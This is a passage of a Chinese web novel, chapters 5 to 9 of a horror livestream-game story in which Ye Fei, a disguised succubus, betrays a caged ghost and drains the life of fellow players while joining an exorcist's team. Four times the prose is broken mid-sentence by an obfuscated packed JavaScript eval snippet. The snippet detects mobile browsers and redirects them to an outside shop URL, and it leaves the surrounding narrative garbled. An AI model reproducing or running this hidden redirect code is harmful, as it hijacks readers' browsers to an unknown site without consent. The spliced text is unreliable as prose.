叶绯不咸不淡地冲他瞥了一眼,他当即打了个哆嗦,做了个缝嘴巴的姿势,再不敢多说半句。 “我就说那贱货明显不是当老板的料,是怎么把店开到这么大规模的,原来是鸠占鹊巢。”叶绯恍然地一拍脑袋,对诡囚徒说,“你的意思是,你很可怜,想要让我帮帮你?” 诡囚徒语气诚恳:“是的,希望你能答应我。” 叶绯歪了歪头,做出一副苦恼的模样:“那我有什么好处,你该不会指望我手无寸铁地去刺杀花罗刹和白绅士吧?” “当然不会。”诡囚徒温柔地笑了笑,“能把你从诡偶那取得的核心借我一下吗?我知道你会怀疑我,但这枚核心现在就算在你手上,你也无法使用吧?我可以重塑它,让它变成一件至少能保你性命的东西。” 叶绯没什么犹豫,将诡偶核心扔进囚笼里。 诡囚徒用银白长发将诡偶核心卷起,一股纯白的能量沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414937|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着长发抵达诡偶核心,渐渐抵消了依附在上面的复杂诡力。 几分钟后,诡囚徒朝叶绯扔出一枚造型华丽的鸟型白金胸针。 【道具(辅助类):夜莺的伪证】 【出自:《夜莺歌舞厅》】 【概念:被篡夺的权力,还算是真正的权力吗?】 【使用说明:向胸针祈祷,便可以调用前任夜莺的力量,直到它取回曾经失去的一切。】 【副作用:祈祷过后会变得虚弱,过度依赖别人可不好呢~】 “希望你能感受到我的真诚。”皱纹爬上了诡囚徒的绝美面庞,那头犹如氤氲着月光的长发也变得干枯。 【触发唯一主线任务:夜莺拯救计划】 【任务介绍:被囚困的前任夜莺,与想要存活下来的现任夜莺,何尝不能互助呢?敌人的敌人就是朋友,至少,你们面对着相同的敌人。】 【任务奖励:10积分】 【失败惩罚:抹杀】 叶绯看看任务提示,又看看新入手的道具,满意地笑了。 “谢谢,我确实感受到了你的心情。” 诡囚徒嘴唇动了动,还没来得及将祝福的话语宣之于口,突然,便顿住了。 有什么异常之物正在扰乱他的存在。 那是…… 诡囚徒面色阴毒地看向叶绯的身后,不知何时,叶绯的尾椎处竟多出来一条流转着暗光的鳞质长尾。 带着致命之美的长尾中喷出大量的毒液,那些与他相悖的、属于叶绯的魅惑概念被源源不断地灌注进来。 “你、背、叛、我——!!!” 尖利聒噪的破锣音像一把锥子直往人太阳穴里钻,只见颓败的颜色像墨汁浸入白纸一样在诡囚徒整张脸上洇开,从白变成青,再从青变成一种带着尸斑般紫褐色的浊色。 这是一种由内而外的坍塌。 动听的嗓音、极致的美貌、动人的姿态……一切能蛊惑人心的元素都在从诡囚徒身上腐烂变质。 从极美到极丑的转变令丁宝坤san值都快掉光了,赶紧多看叶绯两眼,洗洗眼睛。 叶绯朝诡囚徒挥挥手:“没有合作,哪来的背叛?我没有跟你结盟的义务。” 诡囚徒说的话,叶绯从头到尾是一个字都不信。 魅魔作为魅惑法则的宠儿,带着清算异端的义务。如果说一般的诡与叶绯是有仇,那么有着与魅魔相似力量的诡囚徒,则精准打在了叶绯的痛点上,与叶绯之间的关系只能说是不共戴天。 这不,在诡囚徒重塑完诡偶核心陷入虚弱之际,叶绯趁他病要他命,果断出手了。 而随着诡囚徒的力量被大幅削弱,整片空间所维系的平衡被打破,开始剧烈震荡起来。 吊在天花板上的塑料头颅不一会儿便挣脱了细绳,朝着诡囚徒的方向撕咬而去。 “终于轮到你疼了!你现在好丑啊,嘻嘻嘻嘻嘻~” “主舞,为什么要杀我,我好恨啊——” “还我!把我的舞台还我!把我的观众还我!!!” “你把我的血抽干了!我也要抽干你的血!” 塑料头颅宣泄着自己的怨恨,将矛头对准了诡囚徒。 见状,叶绯也知道是时候了。 他收回尾巴,顺手捞起丁宝坤,脚上拖着沙发诡,扭头便朝着升降台的出口冲去。 与此同时,整片空间开始崩塌。 伴随“轰”的一声巨响,塑料肢体如山体滑坡般吞噬了原有的通道,也拦住了叶绯的去路。 6. 第 6 章 走廊的烛灯微微摇曳,卫沉锋疾驰的身影飞掠而过,烛光只能捕捉到他的一缕残影。 他将脚步仿得很轻,轻得几乎听不见声响,整个人像一柄收进鞘里的剑,锋芒尽敛。 但他知道,那怪物听得见更细微的声音——心跳,血流,甚至是上眼皮与下眼皮的摩擦。 弹幕称那头怪物为“花罗刹”。 卫沉锋无法将花罗刹与他认知当中的鬼魂画上等号,因为除了雷法以外,目前他能拿出的对付鬼魂的手段均已失效。 那就像是一坨化成实质的诅咒,如影随形地跟着他,他全力冲刺,与对方拉不开距离,而他稍有松懈,对方与他的距离便会迅速拉近。 虽然不可置信,但这事确实发生了。 身为除魔世家的传人,卫沉锋掌握了不下百种法门,还留有法器、符咒护身,尚且被逼到了如此绝路。 他想,若是换成是普通人,又要怎么活命? 噩梦副本,确实是像噩梦一样,荒谬绝伦,又无从解脱。 他无法理解,也无法测算出这个凭空出现的【噩梦游戏】是如何运转的,以及那些不知从何而来却恶意满满的观众的真身究竟是什么。 早在进入副本的第一时间,他便用随身携带的罗盘进行测算,结果盘面上立刻出现了一道裂纹,从中心贯穿到边缘,指针垂了下来,像断了线的钟摆。 大凶之兆,地狱无门。 “呼、呼……” 卫沉锋听到了自己紊乱的呼吸声开始泄露。 在逃命的半个多小时,他的体力急剧消耗,哪怕他从小练功修行,也无法支撑这种高强度运动,被花罗刹追上,似乎只是早晚的事。 必须要做点什么。 卫沉锋观察走廊的方位,咬破舌尖,将舌尖血喷在几张纸片小人上,又分别踹开几间房门,快速将纸片小人扔进去。 这是替身术,可以用于迷惑、混淆鬼魂的认知。 但卫沉锋刚刚对花罗刹试过了,用处不大,仿佛这法术只是一门很粗劣的障眼法。 他侧身闪进一间包厢,划开床垫,将纸片小人塞进去,自己则进入卫生间内,给卫生间门内侧贴了张敛息符用于隔绝自身气息,然后扯断黄铜古钱项链的红绳,将三枚开光古钱捏在手心中,屏息凝神。 三摇三掷。 铜钱落地,叮当几声脆响,在寂静中格外刺耳。 卫沉锋的额角渗出几滴汗水,视线落在铜钱排列的卦象上。 火雷噬嗑,变爻在九四。噬干胏,得金矢,利艰贞,吉。① 卦辞在他脑海中迅速浮现,他的行动需从明锐进取转向沉稳止守,不再强攻,而是坚忍推进,不可放弃,自能化祸为吉。 通俗来说,就是要他继续逃命,逃啊逃啊,总会有渡过难关的时候。 卫沉锋:“……” 他鲜少有怀疑自己的时候,但这卦真的没毛病吗?是这里气息驳杂,风水太烂,扰乱了卦象,还是他的解读出了问题? 正当卫沉锋准备走出卫生间的时候,他听到了一道轻微的“嘎吱”声。 那是房门被打开的声音。 卫沉锋不禁心下一沉。 花罗刹竟然比他预想中来得更快。 紧接着,脚步声停滞,他又听到了床垫被用力撕扯开的声响。 脚步声重新响起来。 这次更近了,近到卫沉锋能感受到地面传来的震动。 “没在床上,但一定就藏在这里,那个该死的清洁工……” “嘻呵呵~” 花罗刹笑了。 卫沉锋的内心跌到了谷底。 花罗刹说话的声音像用扎满碎玻璃的舌头在舔他的脖子,却故意放得又轻又缓,像是在玩弄老鼠的猫,不肯将猎物一口咬死,而是要将猎物折磨到生不如死。 ——被发现了。 大片的弹幕也侧面应证了这点。 [Here is johnny!] [让人意外的死亡顺序出现了!] [半路夭折的天菜不是真的天才。(无错字嘻嘻)] [一想到你就要死掉了,我还怪惋惜的呢,为什么动手的不能是我?] [还招诡吗?我也想杀这个嘤嘤嘤~] 卫沉锋苦笑一声,将仅剩的几张天雷符取出,瞳孔骤然收缩后,并未扩散成恐惧,反而凝聚成了灼灼逼人的寒光。 他面上没有多余的表情,只剩下寒潭般的沉静,深邃的双眸死死盯着卫生间的门,视线仿佛穿透了木板,与门外的花罗刹直接对视。 咚、咚、咚…… 地板的震颤从轻微变得剧烈,不一会儿,竟然演变成了如同大爆炸般的轰鸣。 “怎么回事!他被放出来了!” 花罗刹的惊声尖叫掺杂在巨响中,卫沉锋听得不太真切,但分明能抓住其中恐惧惊惶的情绪。 究竟是什么事物,会让这头怪物如此失态? 卫沉锋伏低身子,默默等待地震结束的那一刻,而就在这时,系统一连发来了几条消息。 【亲爱的玩家,随着副本的深层世界观得到破解,副本难度将从E级提升至D级。】 【您的直播间将推荐给更多的观众,并根据历史获取积分进入荣誉排行榜排名,当前积分过低暂无排名。】 【此次您的副本结算奖励将以双倍计算。】 【感谢您对《噩梦游戏娱乐须知》的支持:噩梦从不设限,畅享无尽可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414938|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !请您沉沦至死,助力噩梦成真!】 “该死!” 饶是卫沉锋脾气再好再冷静,接收到消息后都忍不住骂了一声。 …… “卫哥,前面都成废墟了,还有好多塑料模特,真的还会有幸存者吗?会不会是那些东西的伪装?”保洁服女生不安地看向卫沉锋。 旁边的保安服壮汉说:“嗨,小李同学,别怕,小卫道长都有本事将我们从那儿救出来了,我们就相信他的实力吧!” “卦象应该不会错。”卫沉锋看着个人面板里的4积分,说,“我相信他是个有能力的人。” 这4积分,是在他遭受花罗刹追杀的前半程获取的,是【支线任务:整治蝇灾】的奖励,还显示他是和玩家叶绯共享的任务。 叶绯……这就是他之前没能救成功的青年的名字……应该是的。 三人来到一座废墟上。 地图显示,这里原本是位于夜莺歌舞厅一楼的歌舞厅,此时,一群塑料模特正沉默游荡着、起舞着,它们撕扯掉自己身上的塑料外壳,又将蝇卵连着腐肉一块儿剜去,场面无比诡异。 忽然,卫沉锋在废墟角落的沙发旁停下。 “是这里。” 环顾四周,卫沉锋将目光落在那不起眼的旧沙发上。 用力撕开沙发套,只见一个浑身脏污、已然昏迷的长发青年竟然蜷缩在沙发的内部,并以此躲过了塑料模特的觊觎。 在塑料模特袭击过来之前,卫沉锋二话不说,打横抱起叶绯便朝着临时安全点处赶去。 临时安全点是一楼楼梯旁的储物室,堆积着一些杂物,大概四平米左右,三个体型高大的男人外加一个女生挤进去,挤得有些难以呼吸。 在这样“恶劣”的环境下,叶绯没多久便醒了过来。 “是你救了我……”叶绯先是懵懵地眨了眨眼,随后扬起一抹真诚的微笑,脑袋虚弱地靠在卫沉锋的肩膀上,轻轻吐息,“这是你第二次救我了。” 好香…… 朦胧之间,仿佛有一束聚光灯搭在了叶绯的身上,他那摄人心魄的容貌令卫沉锋恍惚了一瞬。 与此同时,保安服壮汉已经彻底沦陷在叶绯的美貌中,看得神情呆滞,口水沿着嘴角滴下了都不晓得。 几人中,唯有保洁服女生在一瞬间头皮发麻。 她的技能【危机预警】是一个会在危机来临时自动开启的被动技能,危险源头越近,感知便越清晰。 而叶绯给她的感觉,就像是装在金杯里的毒酒,无论外壳再怎么漂亮,风味多么美妙独特,都无法改变那致命的特性。 身体有些冷,又有些虚弱,好像有什么东西在抽取她的能量。 会是……错觉吗? 7. 第 7 章 保洁服女生并不是不想出言提醒,而是她的身体正被动承受着空气里那股不知名的甜香,理性与身体起了前所未有的冲突。 她找不到形容词来描述这种香是什么,只能笼统地将其归纳为“舒服”。 一股从骨头缝里渗出的、懒洋洋的舒服。 这并不能称为单方面的掠夺,而是交换,起码在这令人绝望的噩梦副本中,她还能用精气神换取短暂的欢愉,哪怕是死也心甘情愿…… 忽然,保洁服女生的眼前闪过一抹白色。 只见保安服壮汉的鬓角已经变成了白色,不是那种优雅的的银白,而是像枯草一样失去了所有光泽的灰白。 昏黄色的灯光下、静悄悄的阴影里,有什么东西正一点点偷走了他们的生机。 死亡正在发生。 这一幕彻底撕碎了保洁服女生的侥幸,她终究还是不愿意这样死去的。 旺盛的求生欲让她尝试重新掌控自己的身体,一秒、两秒…… “卫哥、林哥,憋气!!!” 保洁服女生大吼一声,在看到卫沉锋和保安服壮汉回过神后,将怀中的粉包“哗啦”一下泼洒出去。 “嗯?”叶绯第一时间反应过来,捂住口鼻,拉来卫沉锋挡在身前。 随着粉末在储物室内扩散,温度迅速将至冰点,一股腐烂墓土的刺鼻味打破了叶绯精心营造的魅香氛围。 这个粉末是…… “啊呸呸呸!小李同学你这是做啥?呕,好臭……这粉末啥啊,好恶心!”保安服壮汉没有第一时间憋气,误吸了一口粉末,当即脸色青红交加,又急又气,整个人的情绪立刻不对劲了。 下一秒,储物室门被卫沉锋一脚踹开。 “恶魂香,这是你的直播奖励?”卫沉锋满脸凝重地看向保洁服女生,“为什么要在储物室用它。” 保洁服女生满脸惊恐地指着叶绯说:“你们没感觉吗,他在吸食我们的生命!就是他!卫哥,不信你看看我和林哥,林哥都有白头发了,可他的状态明显比刚才好太多了,肯定是已经偷走了我们不少命。” 然而卫沉锋眼里的怀疑还没建立,储物室内便传来了轻微的“咔嚓”一声。 有什么东西裂开了。 “舒服啊,好爽,把它全都给我!” 一面化妆镜从架子上落地,却并没有摔得稀碎。 化妆镜正对着众人,里面浮现出一张扭曲变形的面孔,它时而像男人,时而像女人,时而像老人,时而像孩童,它可以像任何人,却又可以完全不像人。 “咄、咄、咄……” 镜诡一下又一下地撞在化妆镜上,可以看出它撞得很用力,并且成功过将那条狭窄的裂缝扩大了一丝,企图来到这个世界。 “嘭!” 叶绯一脚踹关了储物室门。 “看吧,与我无关,我就说都是诡干事。” 哪怕叶绯的语气无比自然,还带着被委屈后的无辜与心酸,最开始看直播的那一批观众也一眼识破了他。 [不,与你有关,你刚刚什么都没说。] [骗子!漂亮的男人一贯会做戏!] 保洁服女生目瞪口呆,随后面色通红地向叶绯弯腰道歉。 “对不起对不起对不起!我错怪你了,我不该随便怀疑你的……”保洁服女生内心懊悔。 连卫哥都没说什么,她这个小卡拉米难不成比真高手还厉害吗?她几斤几两她心里还是有数的……这不,偶尔勇敢一回,就捅出了这么大一篓子! “放心吧,我不怪你。”叶绯大方地挥挥手,半开玩笑地说,“我能理解你的心情,毕竟我这么好看,又这么有魅力,谁能保证我不是个吸人精气的男妖精呢?你对我的怀疑,完全是成立的。” 毕竟,偷偷吸食三人精气的,也确实是他啊~ 叶绯表态后,紧张尴尬的氛围得到缓解,无形之间,三人一魔的小队多了一分无法言明的和谐。 观众们复盘刚才的场景,用弹幕交流起来。 [我记得镜诡是这个副本的开局诡吧,它是吸取生命力的那种类型吗?] [显然不是啊!怎么真的有诡信了叶绯的邪啊!] [不过副本难度升级,镜诡也被强化了吧?] [望周知,强化不会让吃相变漂亮,只会更凶残。] [看到被噎妃真绕进去的蠢诡,我祈祷我的同事都是你们这样的,我抢人吃的时候就不用那么辛苦了。] 卫沉锋沉吟片刻,对保洁服女生严肃地说:“我并非全能,也会有照顾不到的时候,你的警惕心很好,不过在动手之前可以先给我暗示一下,你用的东西会误伤到普通人。” 保洁服女生连连称是。 叶绯仿佛随口说道:“刚刚那个东西叫做恶魂香吗?确实很恶,也就那些怪物会喜欢这种反人类的东西。” “我也不清楚它是不是真的恶魂香,系统给出的名称是‘怨灵粉尘’。”保洁服女生的手指对着虚空颠了颠,“我将道具属性面板分享给你们看。” 卫沉锋看完后,不疑有他:“嗯,正常。同样的事物,在不同的地方和不同的语境下,会产生不同的称呼。” 叶绯腹诽,正因为道理是这么个道理,所以才透露出很多信息。 【道具(暗器类):怨灵粉尘】 【概念:怨灵消散后残留的负面能量结晶,时间无法消化沉积的怨恨,风可以。】 【使用说明:一吸即嗨,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414939|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡你露出鸡脚了叭。】 【副作用:对人体具有毒害作用,误触、误吸会陷入负面情绪,增加污染度,请放到老人与小孩拿不到的地方。】 恶魔,至少高贵的魅魔族,从不会将怨灵粉尘这种由低贱怨灵形成的劣等能量结晶体称为“香”。 作为“粉尘”,它除了是低阶黑魔法的素材以外,最大的作用是作为吸引弱小诡物的饵料被用在陷阱上。 这说明【噩梦游戏】就算不是源于魔界,也会捕获、吸纳魔界的信息。 叶绯思索的时候,保安服壮汉蹭了上来:“哎,给我臭得不行了,比我家猫拉的屎都臭,还是小兄弟你香,呼……你一个大男人怎么能这么香呢,都给我吸迷糊了。” “过奖了,可能是技能的效果吧。”叶绯笑道。 保安服壮汉张大嘴巴:“该不会是体香那种技能吧?” “不是的。”叶绯大方地公开了自己的技能面板,反正也是无效信息。 【技能:美男子LV.MAX(被动技能,只有美丽的雄性生物才能获得的技能,它既可以是祝福,也可以是诅咒,美丽的身边总是伴随着幸运与灾祸,你……能将这份美丽为你所用么?)】 保安服壮汉倒吸一口凉气,下意识脱口而出道:“妈呀,美男子!这是真花瓶啊!” 人类的身体素质,配上这强大的魅力,不就是行走的花瓶吗? 保安服壮汉其实没有贬低叶绯的意思,然而这话未免太过刺耳。 保洁服女生帮叶绯开脱道:“林哥,你会不会说话呀!他能从塑料模特的围剿下活下来,已经很厉害了!” “而且‘美男子’这个技能……我觉得很有用啊!至少,唔嗯、那些怪物可能会手下留情……吧……” 保洁服女生的声音越来越小,没什么底气。 显然,比起让诡物手下留情,叶绯似乎更适合去充当吸引仇恨的替罪羔羊。 保安服壮汉也意识到自己说错了话,连忙向叶绯道歉。 “小兄弟,对不住,我没有看轻你的意思,其实我的技能也不太好用……” 叶绯的心思没在保安服壮汉身上。 他注意到,一旁的卫沉锋先是有些紧绷,然后又微微松了口气,最后才投入到紧张的思考之中。 叶绯收回了自己的魅力,如同宝玉蒙尘,明明他的模样什么变化,可就是没那么引人爱怜了。 这时,卫沉锋再跟他对视时,眼神就不再闪避了,甚至像是为了证明自己没有喜欢他,而用力地凝视了良久,颇有些失礼而不自知。 原来柔情的视线、温暖的体香、醉人的吐息全都是错乱的吸引,是技能影响后的情绪操控,是假货。 幸好,幸好。 8. 第 8 章 不一会儿功夫,叶绯已摸清了三人的底细。 保洁服女生小李,真名李南嫣,是个大学生,觉醒的技能是【危机预警】,虽然她本人不太自信,但叶绯倒是认可她技能的准确度。 保安服壮汉林哥,真名林靖,职业健身教练,觉醒的技能是【超负荷】,开启该技能后能在短时间内大幅提升运动能力,但过后会有副作用。 包括卫沉锋也简单地介绍了一下自己:“我是除魔世家出身,觉醒的技能是【心灵武装】,可以将自身意志以武装的形式召唤出来。召唤物可以是武器,也可以是盾牌,还可以是饰品,但对精神负担很重,不如术法好用。” 卫沉锋停顿了一秒,郑重地对叶绯说:“你很有本事,能够在那种场合里存活下来,方便交流一下经验吗?” “当然可以。”叶绯扬起一抹笑容,真诚地说,“我希望我们大家都能活下去。” 卫沉锋面色缓了缓,道了声谢,却又听到储物室里发出了“咔嚓”的声响。 镜诡并没有放弃从镜子里出来,区区一扇门,又能挡得住什么呢? “这里不是能够久留的地方,我先来卜一卦,看看能否从卦象中得到些许提示。”卫沉锋说着,便蹲下身开始起卦。 林靖忍不住对叶绯说:“卫小哥可有本事了,刚刚你藏的位置就是他占卜出来的!一开始我们都还不信,让他不要以身犯险,毕竟那地方都塌成废墟了,还有一堆怪物巡逻,人怎么可能活得下来?嘿,也就小兄弟你本事大,脑袋灵光的!” “哇噢~”叶绯眉头上扬,瞳孔迅速扩开又微微收缩,最后有些语意不详地低喃道,“他可真没让我失望~” 果然,不能低估能在末法时代使用雷法的人类呢。 幸好提前把沙发诡和丁宝坤给支走了。 一个诡,一个被打上恶魔印记的恶魔仆从,怕不是一露脸就要被卫沉锋用雷劈死了。 至于叶绯为什么至今还没有被卫沉锋觉察到非人类的身份?那是因为他在魔界便提前饮下了遮蔽恶魔气息的魔药,只要不是他主动泄露真身,哪怕是顶尖猎魔人也发现不了。 不过这类魔药很难得,叶绯可舍不得给别人喝,浪费。 叮叮咚咚,三枚古钱落地。 叶绯好奇地观察用三枚古钱卜卦的卫沉锋。 占卜是?人类探索灵性世界的工具?,也象征了世界对人类的眷顾,叶绯这样的恶魔是学不会占卜术的,作为来自魔界的高维生命体,法则对恶魔已经降下了足够的眷顾,再给他们预言能力的话就不平衡了。 不过,叶绯可以消耗本源施加“预言”,说是预言,其实叫“诅咒”更加准确。诅咒成功就成功了,可一旦失败,施加诅咒者将加倍遭受反噬。 在叶绯的眼皮子底下,卫沉锋拾起古钱,再一次掷出。 然后,第三次…… [哪位先生诡才,能看得懂吗?] [不安desu~] [除了塔罗牌那种死神牌,其他的都看不懂。] [你们猜噎妃有没有瞧出点名堂?] [他瞧出名堂又如何,你还能跪下来求他告诉你吗?] 这回弹幕还真说对了,叶绯确实看不出名堂。 占卜的结果,是占卜者的意志与灵性世界沟通的结果,客观里掺杂了太多的主观。 不过不要紧,他会察言观色。 叶绯注意到卫沉锋冷峻的侧脸愈发僵硬,眉间的弧度也更深了。 “还顺利吗?”叶绯柔声询问。 “……没什么。”卫沉锋沉沉地呼出一口气,低沉有力的声音听不出情绪起伏,“气息太杂,结果有误,待会儿换个地方再尝试一遍。” 随卦上六。 一个极特殊的爻,它既是“随”的终点,也是“随”的反面。 卫沉锋脑海中浮现卦辞——拘系之,乃从维之,王用亨于西山。① 卦辞描绘了一个上位者被牢牢捆绑,完全控制,毫无自主权,最终沦为牺牲品的场景。 随卦讲究从善而随,但到了上六,便意味着走到了追随的尽头——上位者被下位者强行捆绑。 三次卜卦,结果均一致,毫无疑问,这又是一个凶兆。 说明他已一步错步步错,明明危险已经贴身,他身处困境却无法自救。 ……那么,他身边的危险,会是谁? 卫沉锋将视线一一扫过眼含关切的叶绯,神色不安的李南嫣和难掩推崇的林靖。 这次卦象虽然凶险,但并非无解,它的背后涉及到一段神话历史,即周文王姬昌被商纣王释放后,在岐山?设祭誓师,由此打开了反商事业。 最终,商灭。 当他意识到自己被绑的那一刻,便是转机的开始,或许,他应当先不去挣扎绳索,而是先看清自己究竟在谁的祭坛上。 以及,他是否有能力从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414940|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “祭品”变成“主祭”。 “你们听我说。”卫沉锋抬手示意众人安静,身上浮现出一股不怒自威的气势,“副本中没有真正安全的地方,与其被动退守在所谓的安全点形成侥幸心理,不如主动出击,去寻找其他幸存者,以及赚取积分。” “尤其是林哥和李同学。” “根据弹幕所说,我们将来恐怕不会再匹配到同一个副本里了。如今副本难度提升了也不一定只有坏处,它还是一个机会,趁着我还能推你们一把,你们要快点立起来。” 林靖和李南嫣对视一眼,眼中纷纷浮现一丝侥幸。 进入副本后,他们分别选择了保安服和保洁服,并被分别安排了“走廊巡逻”和“前往指定地点清洁脏污”的支线任务。 幸运的是,刚走出化妆间他们两人就碰上了,并且还约定要一起过本,互相照应。 然后……他们就被一个顾客诡控制,在房间里自相残杀起来。 他们的技能,在顾客诡绝对的力量面前,毫无用处。 如果不是突发地震,短暂惊走了控制他们的顾客诡,如果不是卫沉锋在地震后最先找到他们,他们恐怕最后还是会死在对方的手上。 林靖挠挠头,笑脸带着一丝谄媚:“卫小哥,我老林别的本事没有,绝对是最服从纪律的。” 李南嫣捏紧拳头,正色道:“卫哥,我想活,我尽量不给团队添麻烦,我都听你的话,你愿意拉我一把就好。” 卫沉锋在训诫完林靖和李南嫣后,又看向叶绯。 “你手头还有什么任务吗?我们可以一起解决。” 叶绯瞥了眼自己的任务面板,赧然一笑。 “确实有一个任务呢,有一点小小的麻烦,需要你帮忙。” “真的,只是一点小小的麻烦~” 【唯一主线任务:夜莺拯救计划(已取消)】 【唯一主线任务:夜莺上位法则】 【任务介绍:恭喜你勘破了夜莺拯救计划的陷阱,敌人的敌人就是朋友?呵呵!敌人的敌人,还可能是敌人!前任夜莺想要通过道具“夜莺的伪证”吞噬你的灵魂、占据你的身体,另有花罗刹和白绅士对你虎视眈眈,凭什么身为夜莺的你要如此忍气吞声?既然退无可退,不如消灭他们,消灭所有不服从管理的下属,上位做副本真正的主宰!】 【任务奖励:《夜莺歌舞厅》副本结晶】 【失败惩罚:无】 9. 第 9 章 一小时前。 “完蛋完蛋完蛋要死了要死了要死了啊啊啊啊~~” 丁宝坤闭上眼睛,面对如同海啸般避无可避的塑料肢体,不禁嚎出了稳定的高音E6。 忽然,一阵失重感传来,他“啊呜”一声,整个人趴在了冷冰冰的地板上,地面的震幅和他疯狂加速的心跳恰好重合,于是他停止了思考,觉得心脏已经不会跳了……这一刻终究还是来了。 “阿伟死了!” “阿伟是谁?”叶绯没好气地说,“睁开你的眼睛看看自己在哪,别惹我发笑了。” 丁宝坤睁开眼睛一看,惊讶地发现自己已经来到了歌舞厅外的走廊上。 回头,就见歌舞厅内已是一片混乱,舞台设备和水晶吊灯纷纷砸在地上,升降台如同沸腾油锅的唯一出口,不断有塑料肢体往外涌出。 少顷,天花板轰然砸落,烟尘四起,整个歌舞厅化作一片废墟。 丁宝坤目瞪口呆:“我居然毫发无损的出来了……” “移形换位的魔法而已。”叶绯慢悠悠地说,“都说人类会在临死前爆发出惊人的潜力,我看你也是,喊得那么尖,不知道的还以为你有人鱼血脉,呱噪得很。” “教练,我想学这招!”丁宝坤抱住叶绯的大腿,两眼直掉小珍珠,“我刚刚差点以为自己再也见不到master您了!光是想到这件事差点发生我就心梗、我就窒息、我就感到灵魂都要被巨大的悲伤撕裂了!为了能活着陪伴master左右,哪怕是头悬梁锥刺股,小的也愿意去学!” 叶绯拍了拍丁宝坤的头顶:“不是我不愿教你,而是学这个得看天资。天资是最残忍的东西,至于你嘛……呵呵~” 丁宝坤眼里的光熄灭了。 “不过。”叶绯一个转折,丁宝坤又提了口气,“我能教你一些黑魔法的皮毛,引导你入门。你从基础开始学,或许能取得一些成就,也算多点保命手段。” 丁宝坤连连点头:“master您肯教多少就教多少,我记笔记自学成才,实在不会了再来问你,保证不烦您!” 别看丁宝坤舔得那么厉害,但他内心对自己的资质还是有点AC数的——他就是个屁!他要真是哪门子天才,早大放异彩了,哪会拖到今天?要想多学本事,要想保住性命,就得扮小丑博叶绯一笑,这叫提供情绪价值。 瞧瞧那些小说里的胖子,但凡主角有一刻不在场,没法护住他们,他们就得遭殃。更何况他现在已经不是胖子了,连配角位都不太稳当,没准就是个一次性的小龙套,背地里不知怎么的就噶了。 但比起自认为将来会噶的丁宝坤,不少观众现在就想嘎巴一下……额,虽然不会死,但是也快厥过去了。 [俺真的要疯了,噎妃居然还能活!他看着那么脆皮,怎么杀不死的啊!] [惊天爆笑了诡诡们,当大家以为噎妃要对抗全副本的时候,你不知道他能用什么方法活,黑魔法都冒出来了。] [其实黑魔法也还好,主要是他手段真的太多了,各位老哥们,我撑不住先撤了,等他快死了我再来复盘,实在是没耐心追连载,感觉会是有生之年系列。] [不想看了+1,每次遇到危险这人都能逢凶化吉,感觉他拿了主角剧本,我就是个捧臭脚的憨批。] 当然也有不少诡持反对意见,觉得叶绯不仅要活,还要反复死里逃生地活,命途多舛地活,跌宕起伏地活! [所以你们在表达什么,他要是这么死了那才叫无趣,一群没品的诡东西。] [就是因为噎妃有点天才主角气场,我才能坚定爱上,死掉的主角才是伟大的史诗!才是死亡的艺术!] [弹幕里会反复说自己不想看的,你们就沉浸在自己的play里面吧,搞辱追刷存在感真没必要,我宝真男魅魔,从不看身后爆炸。] [我绯也是真红惹,连诡诡们都开始搞饭圈了,男王,一把子slay住了!] “真是个诡热闹。” 叶绯看着你来我往的弹幕,轻笑一声。 紧接着,他微微侧眸,余光看向一旁的阴影处,轻缓的嗓音里缠绕着一抹杀意。 “那边那位先生,你是不是也想来凑个热闹?” 抱着叶绯大腿的丁宝坤身体一僵,圆溜地往旁边滚了一下,站起了身,一副随时准备逃命的架势。 只见走廊拐角的阴影中,悄无声息地走出一个衣冠楚楚的塑料人。 他穿着高雅庄重的白色燕尾服,头戴礼帽,手持仪杖,关节灵活,将礼帽拿下,朝叶绯优雅地弯腰行礼。 “你就是白绅士?”真是诡如其名的一集,叶绯半眯着眼睛,神色不耐,“你就是花罗刹要我招待的贵客吧,没想到兜兜转转,还是让我们碰上了。” 